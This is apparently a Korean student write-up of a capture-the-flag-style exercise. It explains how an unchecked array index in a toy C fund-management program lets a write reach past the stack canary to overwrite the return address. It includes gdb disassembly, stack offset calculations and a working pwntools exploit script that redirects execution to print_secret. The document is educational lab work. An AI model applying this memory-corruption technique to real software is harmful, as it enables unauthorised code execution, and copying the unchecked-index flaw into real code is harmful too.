#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#define ITEM_COUNT 16
// This function will print out the content of "secret.txt" file. You don't need
// to know the internals of this function.
void print_secret(void);
void menu(void) {
printf("=== Manage your fund portfolio ===\n");
printf("1. Check your portfolio\n");
printf("2. Rebalance the portfolio\n");
printf("3. Retire from the market\n");
printf("(Enter 1~3): ");
}
int read_int(void) {
int v;
if (scanf("%d", &v) != 1) {
printf("[ERROR] Invalid input format\n");
exit(1);
}
return v;
}
void market_update(int items[]) {
for (int i = 0; i < ITEM_COUNT; i++) {
items[i] += ((rand() % 512) - 256);
}
}
void print_portfolio(int items[]) {
for (int i = 0; i < ITEM_COUNT; i++)
printf("Investment on item %d: $ %d\n", i, items[i]);
}
void rebalance_portfolio(int items[]) {
int src_idx, dst_idx, amount;
printf("Input the ID of item you want to withdraw money from: ");
src_idx = read_int();
printf("Input the ID of item you want to invest more money: ");
dst_idx = read_int();
printf("Decide how much to move: ");
amount = read_int();
if (src_idx < 0 || dst_idx < 0 || amount < 0) {
printf("Negative input not allowed for item number or amount of money\n");
return;
}
items[src_idx] -= amount;
items[dst_idx] += amount;
}
void manage_fund(void) {
int items[ITEM_COUNT];
int choice, i, quit_flag = 0;
for (i = 0; i < ITEM_COUNT; i++) {
items[i] = 100000;
}
while (!quit_flag) {
market_update(items);
menu();
choice = read_int();
switch (choice) {
case 1:
print_portfolio(items);
break;
case 2:
rebalance_portfolio(items);
break;
case 3:
quit_flag = 1;
break;
default:
printf("[ERROR] Invalid choice\n");
}
}
}
int main(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
srand(time(NULL));
manage_fund();
return 0;
}
fund.c 코드다. (길다..)
쭈욱 살펴보니 print_secret()함수를 호출하는 코드는 없다.
그렇다면 우리는 print_secret()함수의 시작 주소와 어떤 함수의 return address을 알아내야 한다.
그렇다면 어떤 함수의 return address를 알아내야 할까?
먼저 BOF가 발생할 위험이 있는 함수를 찾아보자.
딱히 BOF를 일으키는 함수가 없어보이지만,,
out-of-bound를 일으키는 함수가 눈에 보인다!!
void rebalance_portfolio함수에서
items[src_idx] -= amount;
items[dst_idx] += amount;
가 의심스럽다.
main()함수에서 manage_fund()함수를 호출하고,
manage_fund()함수에서 2를 입력받으면 rebalance_portfolio()함수를 호출한다.
rebalace_portfolio()함수에서 read_int()함수를 호출하여 src_idx와 dst_idx를 설정한다.
배열 items의 인덱스를 이용하여 직접 return address에 접근하는 문제인 것 같다.
그럼 배열 items가 정의되어 있는 manage_fund()함수의 return address을 알아내보자!
(gdb) disas main
Dump of assembler code for function main:
0x00000000004014a9 <+0>: sub $0x8,%rsp
0x00000000004014ad <+4>: mov $0x0,%ecx
0x00000000004014b2 <+9>: mov $0x2,%edx
0x00000000004014b7 <+14>: mov $0x0,%esi
0x00000000004014bc <+19>: mov 0x2bdd(%rip),%rdi # 0x4040a0 <stdin@@GLIBC_2.2.5>
0x00000000004014c3 <+26>: call 0x4010a0 <setvbuf@plt>
0x00000000004014c8 <+31>: mov $0x0,%ecx
0x00000000004014cd <+36>: mov $0x2,%edx
0x00000000004014d2 <+41>: mov $0x0,%esi
0x00000000004014d7 <+46>: mov 0x2bb2(%rip),%rdi # 0x404090 <stdout@@GLIBC_2.2.5>
0x00000000004014de <+53>: call 0x4010a0 <setvbuf@plt>
0x00000000004014e3 <+58>: mov $0x0,%edi
0x00000000004014e8 <+63>: call 0x401090 <time@plt>
0x00000000004014ed <+68>: mov %rax,%rdi
0x00000000004014f0 <+71>: call 0x401080 <srand@plt>
0x00000000004014f5 <+76>: call 0x401423 <manage_fund>
0x00000000004014fa <+81>: mov $0x0,%eax
0x00000000004014ff <+86>: add $0x8,%rsp
0x0000000000401503 <+90>: ret
main()함수에서 manage_fund를 호출하고, manage_fund의 return address는 0x4014fa이다.
print_secret의 시작 주소도 알아보자.
(gdb) disas print_secret
Dump of assembler code for function print_secret:
0x00000000004011d6 <+0>: push %rbx
0x4011d6인 것을 확인할 수 있다.
이제 manage_fund를 disassemble해보자.
(gdb) disas manage_fund
Dump of assembler code for function manage_fund:
0x0000000000401423 <+0>: sub $0x58,%rsp
0x0000000000401427 <+4>: mov %fs:0x28,%rax
0x0000000000401430 <+13>: mov %rax,0x48(%rsp)
0x0000000000401435 <+18>: xor %eax,%eax
0x0000000000401437 <+20>: cmp $0xf,%eax
0x000000000040143a <+23>: jg 0x401453 <manage_fund+48>
0x000000000040143c <+25>: movslq %eax,%rdx
0x000000000040143f <+28>: movl $0x186a0,(%rsp,%rdx,4)
0x0000000000401446 <+35>: add $0x1,%eax
0x0000000000401449 <+38>: jmp 0x401437 <manage_fund+20>
0x000000000040144b <+40>: mov %rsp,%rdi
0x000000000040144e <+43>: call 0x40136c <print_portfolio>
0x0000000000401453 <+48>: mov %rsp,%rdi
0x0000000000401456 <+51>: call 0x40132f <market_update>
0x000000000040145b <+56>: call 0x40127c <menu>
0x0000000000401460 <+61>: call 0x4012d0 <read_int>
0x0000000000401465 <+66>: cmp $0x2,%eax
0x0000000000401468 <+69>: je 0x401485 <manage_fund+98>
0x000000000040146a <+71>: cmp $0x3,%eax
0x000000000040146d <+74>: je 0x40148f <manage_fund+108>
0x000000000040146f <+76>: cmp $0x1,%eax
0x0000000000401472 <+79>: je 0x40144b <manage_fund+40>
0x0000000000401474 <+81>: mov $0x4021dd,%edi
0x0000000000401479 <+86>: mov $0x0,%eax
0x000000000040147e <+91>: call 0x401060 <printf@plt>
0x0000000000401483 <+96>: jmp 0x401453 <manage_fund+48>
0x0000000000401485 <+98>: mov %rsp,%rdi
0x0000000000401488 <+101>: call 0x4013a3 <rebalance_portfolio>
0x000000000040148d <+106>: jmp 0x401453 <manage_fund+48>
0x000000000040148f <+108>: mov 0x48(%rsp),%rax
0x0000000000401494 <+113>: xor %fs:0x28,%rax
0x000000000040149d <+122>: jne 0x4014a4 <manage_fund+129>
0x000000000040149f <+124>: add $0x58,%rsp
0x00000000004014a3 <+128>: ret
0x00000000004014a4 <+129>: call 0x401050 <__stack_chk_fail@plt>
먼저 %rsp를 0x58만큼 내려서 스택에 공간을 할당한다.
0x58 = 5 * 16 + 8 = 88 -> 88 / 8 = 11칸
%rsp+0x48에는 스택 카나리가 존재한다.
0x0000000000401437 <+20>: cmp $0xf,%eax
0x000000000040143a <+23>: jg 0x401453 <manage_fund+48>
0x000000000040143c <+25>: movslq %eax,%rdx
0x000000000040143f <+28>: movl $0x186a0,(%rsp,%rdx,4)
이 부분을 보면 %rsp에 items[0] ~ items[15]가 저장되는 것을 알 수 있다.
이를 그림으로 나타내면 다음과 같다.

return address가 있는 곳은 items[22]로 표현할 수 있다.
인덱스를 이용하면 카나리를 거치지 않고도 바로 return address에 접근이 가능하다.
따라서 items[22]에 있는 기존 return address 0x4014fa를 0x4011d6으로 바꿔야 한다.
0x4014fa - amount = 0x4011d6이 되도록 amount를 계산해보자.
16진수 계산은 복잡하니 10진수로 고쳐 계산하자.
0x4014fa - 0x4011d6 = 804이다.
items[src_idx] -= amount;
따라서 src_idx에는 22를, amount에는 804를 입력해주면 된다.
(dst_idx는 아무거나~)
이를 exploit code로 나타내면 다음과 같다.
#!/usr/bin/python3
from pwn import *
def exploit():
# Write your exploit logic here.
p = process("./fund.bin")
print(p.recvuntil(b"===\n"))
print(p.recvuntil(b"portfolio\n"))
print(p.recvuntil(b"portfolio\n"))
print(p.recvuntil(b"market\n"))
print(p.recvuntil(b"(Enter 1~3): "))
p.sendline(b"2")
print(p.recvuntil(b"from: "))
p.sendline(b"22") # src_idx
print(p.recvuntil(b"money: "))
p.sendline(b"1") #dst_idx는 아무거나
print(p.recvuntil(b"move: "))
p.sendline(b"804") #amount
for i in range(4):
print(p.recvline())
print(p.recvuntil(b"(Enter 1~3): "))
p.sendline(b"3")
print(p.recvline())
if __name__ == "__main__":
exploit()
여기서는 menu()를 받아 출력할 때 두가지 방법으로 가능하다. -> 이제 recvline()과 recvuntil()은 자유자재로 쓸 수 있는 지경이다:)
새롭게 주의할 점은 while문에서 빠져나와 함수가 끝나야 return address에 돌아온다는 점이다.
그래야 return address를 덮어쓴 print_secret함수가 실행이 된다.
따라서 while문을 완전히 끝낸 후(3 입력), print(p.recvline())으로 print_secret함수의 실행 결과를 출력한다.